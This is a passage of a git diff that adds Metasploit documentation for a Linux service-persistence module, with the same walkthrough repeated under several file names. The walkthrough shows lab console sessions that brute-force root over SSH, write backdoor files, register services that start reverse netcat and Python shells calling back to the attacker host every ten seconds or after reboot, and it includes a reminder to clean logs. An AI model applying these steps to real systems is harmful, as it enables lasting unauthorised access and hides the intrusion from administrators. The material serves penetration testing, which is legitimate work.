logs to syslog or /var/log/.log and .err +2. Upstart: Logs to its own file. This module is set to restart the shell after a 10sec pause, and do this forever. +3. systemd and systemd user: This module is set to restart the shell after a 10sec pause, and do this forever. + +**BACKDOOR_PATH** + + If you need to change the location where the backdoor is written (like on CentOS 5), it can be done here. Default is /usr/local/bin + +**SERVICE** + + The name of the service to create. If not chosen, a 7 character random one is created. + +**SHELL_NAME** + + The name of the file to write with our shell. If not chosen, a 5 character random one is created. + +## Scenarios + +### System V (Centos 5 - root - chkconfig) + +Get initial access + + msf > use auxiliary/scanner/ssh/ssh_login + msf auxiliary(ssh_login) > set rhosts 192.168.199.131 + rhosts => 192.168.199.131 + msf auxiliary(ssh_login) > set username root + username => root + msf auxiliary(ssh_login) > set password centos + password => centos + msf auxiliary(ssh_login) > exploit + + [*] 192.168.199.131:22 SSH - Starting bruteforce + [+] 192.168.199.131:22 SSH - Success: 'root:centos' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-398.el5 #1 SMP Tue Sep 16 20:51:48 EDT 2014 i686 i686 i386 GNU/Linux ' + [*] Command shell session 1 opened (192.168.199.128:49359 -> 192.168.199.131:22) at 2016-06-22 14:27:38 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +Install our callback service (system_v w/ chkconfig). Note we change BACKDOOR_PATH since /usr/local/bin isnt in the path for CentOS 5 services. + + msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence + msf exploit(service_persistence) > set session 1 + session => 1 + msf exploit(service_persistence) > set verbose true + verbose => true + msf exploit(service_persistence) > set BACKDOOR_PATH /bin + BACKDOOR_PATH => /bin + msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat + payload => cmd/unix/reverse_netcat + msf exploit(service_persistence) > set lhost 192.168.199.128 + lhost => 192.168.199.128 + msf exploit(service_persistence) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Writing backdoor to /bin/GUIJc + [*] Max line length is 65537 + [*] Writing 95 bytes in 1 chunks of 329 bytes (octal-encoded), using printf + [*] Utilizing System_V + [*] Utilizing chkconfig + [*] Writing service: /etc/init.d/HqdezBF + [*] Max line length is 65537 + [*] Writing 1825 bytes in 1 chunks of 6409 bytes (octal-encoded), using printf + [*] Enabling & starting our service + [*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.131:56182) at 2016-06-22 14:27:50 -0400 + +Reboot the box to prove persistence + + reboot + ^Z + Background session 2? [y/N] y + msf exploit(service_persistence) > use exploit/multi/handler + msf exploit(handler) > set payload cmd/unix/reverse_netcat + payload => cmd/unix/reverse_netcat + msf exploit(handler) > set lhost 192.168.199.128 + lhost => 192.168.199.128 + msf exploit(handler) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Starting the payload handler... + [*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.131:44744) at 2016-06-22 14:29:32 -0400 + + +### Upstart (Ubuntu 14.04.4 Server - root) +Of note, I allowed Root login via SSH w/ password only to gain easy initial access + +Get initial access + + msf auxiliary(ssh_login) > exploit + + [*] 10.10.60.175:22 SSH - Starting bruteforce + [+] 10.10.60.175:22 SSH - Success: 'root:ubuntu' 'uid=0(root) gid=0(root) groups=0(root) Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux ' + [*] Command shell session 1 opened (10.10.60.168:43945 -> 10.10.60.175:22) at 2016-06-22 08:03:15 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +Install our callback service (Upstart) + + msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence + msf exploit(service_persistence) > set session 1 + session => 1 + msf exploit(service_persistence) > set verbose true + verbose => true + msf exploit(service_persistence) > set payload cmd/unix/reverse_python + payload => cmd/unix/reverse_python + msf exploit(service_persistence) > set lhost 10.10.60.168 + lhost => 10.10.60.168 + msf exploit(service_persistence) > exploit + + [*] Started reverse handler on 10.10.60.168:4444 + [*] Writing backdoor to /usr/local/bin/bmmjv + [*] Max line length is 65537 + [*] Writing 429 bytes in 1 chunks of 1650 bytes (octal-encoded), using printf + [*] Utilizing Upstart + [*] Writing /etc/init/Hipnufl.conf + [*] Max line length is 65537 + [*] Writing 236 bytes in 1 chunks of 874 bytes (octal-encoded), using printf + [*] Starting service + [*] Dont forget to clean logs: /var/log/upstart/Hipnufl.log + [*] Command shell session 5 opened (10.10.60.168:4444 -> 10.10.60.175:44368) at 2016-06-22 08:23:46 -0400 + +And now, we can kill the callback shell from our previous session + + ^Z + Background session 5? [y/N] y + msf exploit(service_persistence) > sessions -i 1 + [*] Starting interaction with 1... + + netstat -antp | grep 4444 + tcp 0 0 10.10.60.175:44368 10.10.60.168:4444 ESTABLISHED 1783/bash + tcp 0 0 10.10.60.175:44370 10.10.60.168:4444 ESTABLISHED 1789/python + kill 1783 + [*] 10.10.60.175 - Command shell session 5 closed. Reason: Died from EOFError + kill 1789 + +Now with a multi handler, we can catch Upstart restarting the process every 10sec + + msf > use exploit/multi/handler + msf exploit(handler) > set payload cmd/unix/reverse_python + payload => cmd/unix/reverse_python + msf exploit(handler) > set lhost 10.10.60.168 + lhost => 10.10.60.168 + msf exploit(handler) > exploit + + [*] Started reverse handler on 10.10.60.168:4444 + [*] Starting the payload handler... + [*] Command shell session 3 opened (10.10.60.168:4444 -> 10.10.60.175:44390) at 2016-06-22 08:26:48 -0400 + + +### systemd (Ubuntu 16.04 Server - root) +Ubuntu 16.04 doesn't have many of the default shell options, however `cmd/unix/reverse_netcat` works. +While python shellcode works on previous systems, on 16.04 the path is `python3`, and therefore `python` will fail the shellcode. + +Get initial access + + msf exploit(handler) > use exploit/linux/local/service_persistence + msf exploit(service_persistence) > set session 1 + session => 1 + msf exploit(service_persistence) > set verbose true + verbose => true + msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat + payload => cmd/unix/reverse_netcat + msf exploit(service_persistence) > set lhost 192.168.199.128 + lhost => 192.168.199.128 + msf exploit(service_persistence) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Writing backdoor to /usr/local/bin/JSRCF + [*] Max line length is 65537 + [*] Writing 103 bytes in 1 chunks of 361 bytes (octal-encoded), using printf + [*] Utilizing systemd + [*] /lib/systemd/system/YelHpCx.service + [*] Max line length is 65537 + [*] Writing 151 bytes in 1 chunks of 579 bytes (octal-encoded), using printf + [*] Enabling service + [*] Starting service + [*] Command shell session 7 opened (192.168.199.128:4444 -> 192.168.199.130:47050) at 2016-06-22 10:35:07 -0400 + + ^Z + Background session 7? [y/N] y + +Kill the process on the Ubuntu target box via local access #good_admin + + root@ubuntu:/etc/systemd/system/multi-user.target.wants# netstat -antp | grep 4444 + tcp 0 0 192.168.199.130:47052 192.168.199.128:4444 ESTABLISHED 5632/nc + root@ubuntu:/etc/systemd/system/multi-user.target.wants# kill 5632 + +And logically, we lose our shell + + [*] 192.168.199.130 - Command shell session 7 closed. Reason: Died from EOFError + +Now with a multi handler, we can catch systemd restarting the process every 10sec + + + msf exploit(service_persistence) > use exploit/multi/handler + msf exploit(handler) > show options + + Module options (exploit/multi/handler): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + + Payload options (cmd/unix/reverse_netcat): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.199.128 yes The listen address + LPORT 4444 yes The listen port + + Exploit target: + + Id Name + -- ---- + 0 Wildcard Target + + msf exploit(handler) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Starting the payload handler... + [*] Command shell session 8 opened (192.168.199.128:4444 -> 192.168.199.130:47056) at 2016-06-22 10:37:30 -0400 + +### systemd user (Ubuntu 16.04 Server - vagrant) + + msf5 exploit(linux/local/service_persistence) > options + + Module options (exploit/linux/local/service_persistence): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + BACKDOOR_PATH /tmp yes Writable path to put our shell + SERVICE no Name of service to create + SESSION yes The session to run this module on + SHELL_NAME no Name of shell file to write + + + Payload options (cmd/unix/reverse_netcat): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 172.28.128.1 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + Exploit target: + + Id Name + -- ---- + 4 systemd user + + + msf5 exploit(linux/local/service_persistence) > run + + [!] SESSION may not be compatible with this module. + [*] Started reverse TCP handler on 172.28.128.1:4444 + [*] Writing backdoor to /tmp/PPpCF + [*] Max line length is 65537 + [*] Writing 94 bytes in 1 chunks of 330 bytes (octal-encoded), using printf + [*] Creating user service directory + [*] Writing service: /home/vagrant/.config/systemd/user/OzzdRBC.service + [*] Max line length is 65537 + [*] Writing 203 bytes in 1 chunks of 778 bytes (octal-encoded), using printf + [*] Reloading manager configuration + [*] Enabling service + [*] Starting service: OzzdRBC + [*] Command shell session 2 opened (172.28.128.1:4444 -> 172.28.128.3:52564) at 2019-03-06 00:22:40 -0600 + + id + uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant) + uname -a + Linux ubuntu-xenial 4.4.0-141-generic #167-Ubuntu SMP Wed Dec 5 10:40:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux diff --git a/documentation/modules/exploit/linux/persistence/systemd.md b/documentation/modules/exploit/linux/persistence/systemd.md new file mode 100644 index 000000000000..46d920043406 --- /dev/null +++ b/documentation/modules/exploit/linux/persistence/systemd.md @@ -0,0 +1,305 @@ +### Creating A Testing Environment + + This module has been tested against: + +1. Kali 2.0 (System V) +2. Ubuntu 14.04 (Upstart) +3. Ubuntu 16.04 (systemd) +4. Ubuntu 16.04 (systemd user) +5. Centos 5 (System V) +6. Fedora 18 (systemd) +7. Fedora 20 (systemd) + +## Verification Steps + + 1. Start msfconsole + 2. Exploit a box via whatever method + 3. Do: `use exploit/linux/local/service_persistence` + 4. Do: `set session #` + 5. Do: `set verbose true` + 6. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system. + 7. Optional Do: `set SHELLAPTH /bin` if needed for compatibility on remote system. + 8. Do: `set lhost` + 9. Do: `exploit` + 10. Do: `use exploit/multi/handler` + 11. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system. + 12. Do: `set lhost` + 13. Do: `exploit -j` + 14. Kill your shell (if System V, reboot target). Upstart/systemd wait 10sec + 15. Get Shell + +## Options + +**target** + + There are several targets selectable, which all have their own issues. + +0. Automatic: Detect the service handler automatically based on running `which` to find the admin binaries +1. System V: There is no automated restart, so while you'll get a shell, if it crashes, you'll need to wait for a init shift to restart the process automatically (like a reboot). This logs to syslog or /var/log/.log and .err +2. Upstart: Logs to its own file. This module is set to restart the shell after a 10sec pause, and do this forever. +3. systemd and systemd user: This module is set to restart the shell after a 10sec pause, and do this forever. + +**BACKDOOR_PATH** + + If you need to change the location where the backdoor is written (like on CentOS 5), it can be done here. Default is /usr/local/bin + +**SERVICE** + + The name of the service to create. If not chosen, a 7 character random one is created. + +**SHELL_NAME** + + The name of the file to write with our shell. If not chosen, a 5 character random one is created. + +## Scenarios + +### System V (Centos 5 - root - chkconfig) + +Get initial access + + msf > use auxiliary/scanner/ssh/ssh_login + msf auxiliary(ssh_login) > set rhosts 192.168.199.131 + rhosts => 192.168.199.131 + msf auxiliary(ssh_login) > set username root + username => root + msf auxiliary(ssh_login) > set password centos + password => centos + msf auxiliary(ssh_login) > exploit + + [*] 192.168.199.131:22 SSH - Starting bruteforce + [+] 192.168.199.131:22 SSH - Success: 'root:centos' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-398.el5 #1 SMP Tue Sep 16 20:51:48 EDT 2014 i686 i686 i386 GNU/Linux ' + [*] Command shell session 1 opened (192.168.199.128:49359 -> 192.168.199.131:22) at 2016-06-22 14:27:38 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +Install our callback service (system_v w/ chkconfig). Note we change BACKDOOR_PATH since /usr/local/bin isnt in the path for CentOS 5 services. + + msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence + msf exploit(service_persistence) > set session 1 + session => 1 + msf exploit(service_persistence) > set verbose true + verbose => true + msf exploit(service_persistence) > set BACKDOOR_PATH /bin + BACKDOOR_PATH => /bin + msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat + payload => cmd/unix/reverse_netcat + msf exploit(service_persistence) > set lhost 192.168.199.128 + lhost => 192.168.199.128 + msf exploit(service_persistence) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Writing backdoor to /bin/GUIJc + [*] Max line length is 65537 + [*] Writing 95 bytes in 1 chunks of 329 bytes (octal-encoded), using printf + [*] Utilizing System_V + [*] Utilizing chkconfig + [*] Writing service: /etc/init.d/HqdezBF + [*] Max line length is 65537 + [*] Writing 1825 bytes in 1 chunks of 6409 bytes (octal-encoded), using printf + [*] Enabling & starting our service + [*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.131:56182) at 2016-06-22 14:27:50 -0400 + +Reboot the box to prove persistence + + reboot + ^Z + Background session 2? [y/N] y + msf exploit(service_persistence) > use exploit/multi/handler + msf exploit(handler) > set payload cmd/unix/reverse_netcat + payload => cmd/unix/reverse_netcat + msf exploit(handler) > set lhost 192.168.199.128 + lhost => 192.168.199.128 + msf exploit(handler) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Starting the payload handler... + [*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.131:44744) at 2016-06-22 14:29:32 -0400 + + +### Upstart (Ubuntu 14.04.4 Server - root) +Of note, I allowed Root login via SSH w/ password only to gain easy initial access + +Get initial access + + msf auxiliary(ssh_login) > exploit + + [*] 10.10.60.175:22 SSH - Starting bruteforce + [+] 10.10.60.175:22 SSH - Success: 'root:ubuntu' 'uid=0(root) gid=0(root) groups=0(root) Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux ' + [*] Command shell session 1 opened (10.10.60.168:43945 -> 10.10.60.175:22) at 2016-06-22 08:03:15 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +Install our callback service (Upstart) + + msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence + msf exploit(service_persistence) > set session 1 + session => 1 + msf exploit(service_persistence) > set verbose true + verbose => true + msf exploit(service_persistence) > set payload cmd/unix/reverse_python + payload => cmd/unix/reverse_python + msf exploit(service_persistence) > set lhost 10.10.60.168 + lhost => 10.10.60.168 + msf exploit(service_persistence) > exploit + + [*] Started reverse handler on 10.10.60.168:4444 + [*] Writing backdoor to /usr/local/bin/bmmjv + [*] Max line length is 65537 + [*] Writing 429 bytes in 1 chunks of 1650 bytes (octal-encoded), using printf + [*] Utilizing Upstart + [*] Writing /etc/init/Hipnufl.conf + [*] Max line length is 65537 + [*] Writing 236 bytes in 1 chunks of 874 bytes (octal-encoded), using printf + [*] Starting service + [*] Dont forget to clean logs: /var/log/upstart/Hipnufl.log + [*] Command shell session 5 opened (10.10.60.168:4444 -> 10.10.60.175:44368) at 2016-06-22 08:23:46 -0400 + +And now, we can kill the callback shell from our previous session + + ^Z + Background session 5? [y/N] y + msf exploit(service_persistence) > sessions -i 1 + [*] Starting interaction with 1... + + netstat -antp | grep 4444 + tcp 0 0 10.10.60.175:44368 10.10.60.168:4444 ESTABLISHED 1783/bash + tcp 0 0 10.10.60.175:44370 10.10.60.168:4444 ESTABLISHED 1789/python + kill 1783 + [*] 10.10.60.175 - Command shell session 5 closed. Reason: Died from EOFError + kill 1789 + +Now with a multi handler, we can catch Upstart restarting the process every 10sec + + msf > use exploit/multi/handler + msf exploit(handler) > set payload cmd/unix/reverse_python + payload => cmd/unix/reverse_python + msf exploit(handler) > set lhost 10.10.60.168 + lhost => 10.10.60.168 + msf exploit(handler) > exploit + + [*] Started reverse handler on 10.10.60.168:4444 + [*] Starting the payload handler... + [*] Command shell session 3 opened (10.10.60.168:4444 -> 10.10.60.175:44390) at 2016-06-22 08:26:48 -0400 + + +### systemd (Ubuntu 16.04 Server - root) +Ubuntu 16.04 doesn't have many of the default shell options, however `cmd/unix/reverse_netcat` works. +While python shellcode works on previous systems, on 16.04 the path is `python3`, and therefore `python` will fail the shellcode. + +Get initial access + + msf exploit(handler) > use exploit/linux/local/service_persistence + msf exploit(service_persistence) > set session 1 + session => 1 + msf exploit(service_persistence) > set verbose true + verbose => true + msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat + payload => cmd/unix/reverse_netcat + msf exploit(service_persistence) > set lhost 192.168.199.128 + lhost => 192.168.199.128 + msf exploit(service_persistence) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Writing backdoor to /usr/local/bin/JSRCF + [*] Max line length is 65537 + [*] Writing 103 bytes in 1 chunks of 361 bytes (octal-encoded), using printf + [*] Utilizing systemd + [*] /lib/systemd/system/YelHpCx.service + [*] Max line length is 65537 + [*] Writing 151 bytes in 1 chunks of 579 bytes (octal-encoded), using printf + [*] Enabling service + [*] Starting service + [*] Command shell session 7 opened (192.168.199.128:4444 -> 192.168.199.130:47050) at 2016-06-22 10:35:07 -0400 + + ^Z + Background session 7? [y/N] y + +Kill the process on the Ubuntu target box via local access #good_admin + + root@ubuntu:/etc/systemd/system/multi-user.target.wants# netstat -antp | grep 4444 + tcp 0 0 192.168.199.130:47052 192.168.199.128:4444 ESTABLISHED 5632/nc + root@ubuntu:/etc/systemd/system/multi-user.target.wants# kill 5632 + +And logically, we lose our shell + + [*] 192.168.199.130 - Command shell session 7 closed. Reason: Died from EOFError + +Now with a multi handler, we can catch systemd restarting the process every 10sec + + + msf exploit(service_persistence) > use exploit/multi/handler + msf exploit(handler) > show options + + Module options (exploit/multi/handler): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + + Payload options (cmd/unix/reverse_netcat): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.199.128 yes The listen address + LPORT 4444 yes The listen port + + Exploit target: + + Id Name + -- ---- + 0 Wildcard Target + + msf exploit(handler) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Starting the payload handler... + [*] Command shell session 8 opened (192.168.199.128:4444 -> 192.168.199.130:47056) at 2016-06-22 10:37:30 -0400 + +### systemd user (Ubuntu 16.04 Server - vagrant) + + msf5 exploit(linux/local/service_persistence) > options + + Module options (exploit/linux/local/service_persistence): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + BACKDOOR_PATH /tmp yes Writable path to put our shell + SERVICE no Name of service to create + SESSION yes The session to run this module on + SHELL_NAME no Name of shell file to write + + + Payload options (cmd/unix/reverse_netcat): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 172.28.128.1 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + Exploit target: + + Id Name + -- ---- + 4 systemd user + + + msf5 exploit(linux/local/service_persistence) > run + + [!] SESSION may not be compatible with this module. + [*] Started reverse TCP handler on 172.28.128.1:4444 + [*] Writing backdoor to /tmp/PPpCF + [*] Max line length is 65537 + [*] Writing 94 bytes in 1 chunks of 330 bytes (octal-encoded), using printf + [*] Creating user service directory + [*] Writing service: /home/vagrant/.config/systemd/user/OzzdRBC.service + [*] Max line length is 65537 + [*] Writing 203 bytes in 1 chunks of 778 bytes (octal-encoded), using printf + [*] Reloading manager configuration + [*] Enabling service + [*] Starting service: OzzdRBC + [*] Command shell session 2 opened (172.28.128.1:4444 -> 172.28.128.3:52564) at 2019-03-06 00:22:40 -0600 + + id + uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant) + uname -a + Linux ubuntu-xenial 4.4.0-141-generic #167-Ubuntu SMP Wed Dec 5 10:40:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux diff --git a/documentation/modules/exploit/linux/persistence/sysvinit.md b/documentation/modules/exploit/linux/persistence/sysvinit.md new file mode 100644 index 000000000000..46d920043406 --- /dev/null +++ b/documentation/modules/exploit/linux/persistence/sysvinit.md @@ -0,0 +1,305 @@ +### Creating A Testing Environment + + This module has been tested against: + +1. Kali 2.0 (System V) +2. Ubuntu 14.04 (Upstart) +3. Ubuntu 16.04 (systemd) +4. Ubuntu 16.04 (systemd user) +5. Centos 5 (System V) +6. Fedora 18 (systemd) +7. Fedora 20 (systemd) + +## Verification Steps + + 1. Start msfconsole + 2. Exploit a box via whatever method + 3. Do: `use exploit/linux/local/service_persistence` + 4. Do: `set session #` + 5. Do: `set verbose true` + 6. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system. + 7. Optional Do: `set SHELLAPTH /bin` if needed for compatibility on remote system. + 8. Do: `set lhost` + 9. Do: `exploit` + 10. Do: `use exploit/multi/handler` + 11. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system. + 12. Do: `set lhost` + 13. Do: `exploit -j` + 14. Kill your shell (if System V, reboot target). Upstart/systemd wait 10sec + 15. Get Shell + +## Options + +**target** + + There are several targets selectable, which all have their own issues. + +0. Automatic: Detect the service handler automatically based on running `which` to find the admin binaries +1. System V: There is no automated restart, so while you'll get a shell, if it crashes, you'll need to wait for a init shift to restart the process automatically (like a reboot). This logs to syslog or /var/log/.log and .err +2. Upstart: Logs to its own file. This module is set to restart the shell after a 10sec pause, and do this forever. +3. systemd and systemd user: This module is set to restart the shell after a 10sec pause, and do this forever. + +**BACKDOOR_PATH** + + If you need to change the location where the backdoor is written (like on CentOS 5), it can be done here. Default is /usr/local/bin + +**SERVICE** + + The name of the service to create. If not chosen, a 7 character random one is created. + +**SHELL_NAME** + + The name of the file to write with our shell. If not chosen, a 5 character random one is created. + +## Scenarios + +### System V (Centos 5 - root - chkconfig) + +Get initial access + + msf > use auxiliary/scanner/ssh/ssh_login + msf auxiliary(ssh_login) > set rhosts 192.168.199.131 + rhosts => 192.168.199.131 + msf auxiliary(ssh_login) > set username root + username => root + msf auxiliary(ssh_login) > set password centos + password => centos + msf auxiliary(ssh_login) > exploit + + [*] 192.168.199.131:22 SSH - Starting bruteforce + [+] 192.168.199.131:22 SSH - Success: 'root:centos' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-398.el5 #1 SMP Tue Sep 16 20:51:48 EDT 2014 i686 i686 i386 GNU/Linux ' + [*] Command shell session 1 opened (192.168.199.128:49359 -> 192.168.199.131:22) at 2016-06-22 14:27:38 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +Install our callback service (system_v w/ chkconfig). Note we change BACKDOOR_PATH since /usr/local/bin isnt in the path for CentOS 5 services. + + msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence + msf exploit(service_persistence) > set session 1 + session => 1 + msf exploit(service_persistence) > set verbose true + verbose => true + msf exploit(service_persistence) > set BACKDOOR_PATH /bin + BACKDOOR_PATH => /bin + msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat + payload => cmd/unix/reverse_netcat + msf exploit(service_persistence) > set lhost 192.168.199.128 + lhost => 192.168.199.128 + msf exploit(service_persistence) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Writing backdoor to /bin/GUIJc + [*] Max line length is 65537 + [*] Writing 95 bytes in 1 chunks of 329 bytes (octal-encoded), using printf + [*] Utilizing System_V + [*] Utilizing chkconfig + [*] Writing service: /etc/init.d/HqdezBF + [*] Max line length is 65537 + [*] Writing 1825 bytes in 1 chunks of 6409 bytes (octal-encoded), using printf + [*] Enabling & starting our service + [*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.131:56182) at 2016-06-22 14:27:50 -0400 + +Reboot the box to prove persistence + + reboot + ^Z + Background session 2? [y/N] y + msf exploit(service_persistence) > use exploit/multi/handler + msf exploit(handler) > set payload cmd/unix/reverse_netcat + payload => cmd/unix/reverse_netcat + msf exploit(handler) > set lhost 192.168.199.128 + lhost => 192.168.199.128 + msf exploit(handler) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Starting the payload handler... + [*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.131:44744) at 2016-06-22 14:29:32 -0400 + + +### Upstart (Ubuntu 14.04.4 Server - root) +Of note, I allowed Root login via SSH w/ password only to gain easy initial access + +Get initial access + + msf auxiliary(ssh_login) > exploit + + [*] 10.10.60.175:22 SSH - Starting bruteforce + [+] 10.10.60.175:22 SSH - Success: 'root:ubuntu' 'uid=0(root) gid=0(root) groups=0(root) Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux ' + [*] Command shell session 1 opened (10.10.60.168:43945 -> 10.10.60.175:22) at 2016-06-22 08:03:15 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +Install our callback service (Upstart) + + msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence + msf exploit(service_persistence) > set session 1 + session => 1 + msf exploit(service_persistence) > set verbose true + verbose => true + msf exploit(service_persistence) > set payload cmd/unix/reverse_python + payload => cmd/unix/reverse_python + msf exploit(service_persistence) > set lhost 10.10.60.168 + lhost => 10.10.60.168 + msf exploit(service_persistence) > exploit + + [*] Started reverse handler on 10.10.60.168:4444 + [*] Writing backdoor to /usr/local/bin/bmmjv + [*] Max line length is 65537 + [*] Writing 429 bytes in 1 chunks of 1650 bytes (octal-encoded), using printf + [*] Utilizing Upstart + [*] Writing /etc/init/Hipnufl.conf + [*] Max line length is 65537 + [*] Writing 236 bytes in 1 chunks of 874 bytes (octal-encoded), using printf + [*] Starting service + [*] Dont forget to clean logs: /var/log/upstart/Hipnufl.log + [*] Command shell session 5 opened (10.10.60.168:4444 -> 10.10.60.175:44368) at 2016-06-22 08:23:46 -0400 + +And now, we can kill the callback shell from our previous session + + ^Z + Background session 5? [y/N] y + msf exploit(service_persistence) > sessions -i 1 + [*] Starting interaction with 1... + + netstat -antp | grep 4444 + tcp 0 0 10.10.60.175:44368 10.10.60.168:4444 ESTABLISHED 1783/bash + tcp 0 0 10.10.60.175:44370 10.10.60.168:4444 ESTABLISHED 1789/python + kill 1783 + [*] 10.10.60.175 - Command shell session 5 closed. Reason: Died from EOFError + kill 1789 + +Now with a multi handler, we can catch Upstart restarting the process every 10sec + + msf > use exploit/multi/handler + msf exploit(handler) > set payload cmd/unix/reverse_python + payload => cmd/unix/reverse_python + msf exploit(handler) > set lhost 10.10.60.168 + lhost => 10.10.60.168 + msf exploit(handler) > exploit + + [*] Started reverse handler on 10.10.60.168:4444 + [*] Starting the payload handler... + [*] Command shell session 3 opened (10.10.60.168:4444 -> 10.10.60.175:44390) at 2016-06-22 08:26:48 -0400 + + +### systemd (Ubuntu 16.04 Server - root) +Ubuntu 16.04 doesn't have many of the default shell options, however `cmd/unix/reverse_netcat` works. +While python shellcode works on previous systems, on 16.04 the path is `python3`, and therefore `python` will fail the shellcode. + +Get initial access + + msf exploit(handler) > use exploit/linux/local/service_persistence + msf exploit(service_persistence) > set session 1 + session => 1 + msf exploit(service_persistence) > set verbose true + verbose => true + msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat + payload => cmd/unix/reverse_netcat + msf exploit(service_persistence) > set lhost 192.168.199.128 + lhost => 192.168.199.128 + msf exploit(service_persistence) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Writing backdoor to /usr/local/bin/JSRCF + [*] Max line length is 65537 + [*] Writing 103 bytes in 1 chunks of 361 bytes (octal-encoded), using printf + [*] Utilizing systemd + [*] /lib/systemd/system/YelHpCx.service + [*] Max line length is 65537 + [*] Writing 151 bytes in 1 chunks of 579 bytes (octal-encoded), using printf + [*] Enabling service + [*] Starting service + [*] Command shell session 7 opened (192.168.199.128:4444 -> 192.168.199.130:47050) at 2016-06-22 10:35:07 -0400 + + ^Z + Background session 7? [y/N] y + +Kill the process on the Ubuntu target box via local access #good_admin + + root@ubuntu:/etc/systemd/system/multi-user.target.wants# netstat -antp | grep 4444 + tcp 0 0 192.168.199.130:47052 192.168.199.128:4444 ESTABLISHED 5632/nc + root@ubuntu:/etc/systemd/system/multi-user.target.wants# kill 5632 + +And logically, we lose our shell + + [*] 192.168.199.130 - Command shell session 7 closed. Reason: Died from EOFError + +Now with a multi handler, we can catch systemd restarting the process every 10sec + + + msf exploit(service_persistence) > use exploit/multi/handler + msf exploit(handler) > show options + + Module options (exploit/multi/handler): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + + Payload options (cmd/unix/reverse_netcat): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.199.128 yes The listen address + LPORT 4444 yes The listen port + + Exploit target: + + Id Name + -- ---- + 0 Wildcard Target + + msf exploit(handler) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Starting the payload handler... + [*] Command shell session 8 opened (192.168.199.128:4444 -> 192.168.199.130:47056) at 2016-06-22 10:37:30 -0400 + +### systemd user (Ubuntu 16.04 Server - vagrant) + + msf5 exploit(linux/local/service_persistence) > options + + Module options (exploit/linux/local/service_persistence): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + BACKDOOR_PATH /tmp yes Writable path to put our shell + SERVICE no Name of service to create + SESSION yes The session to run this module on + SHELL_NAME no Name of shell file to write + + + Payload options (cmd/unix/reverse_netcat): + + Name Current Setting Required Description + ---- --------------- -------- 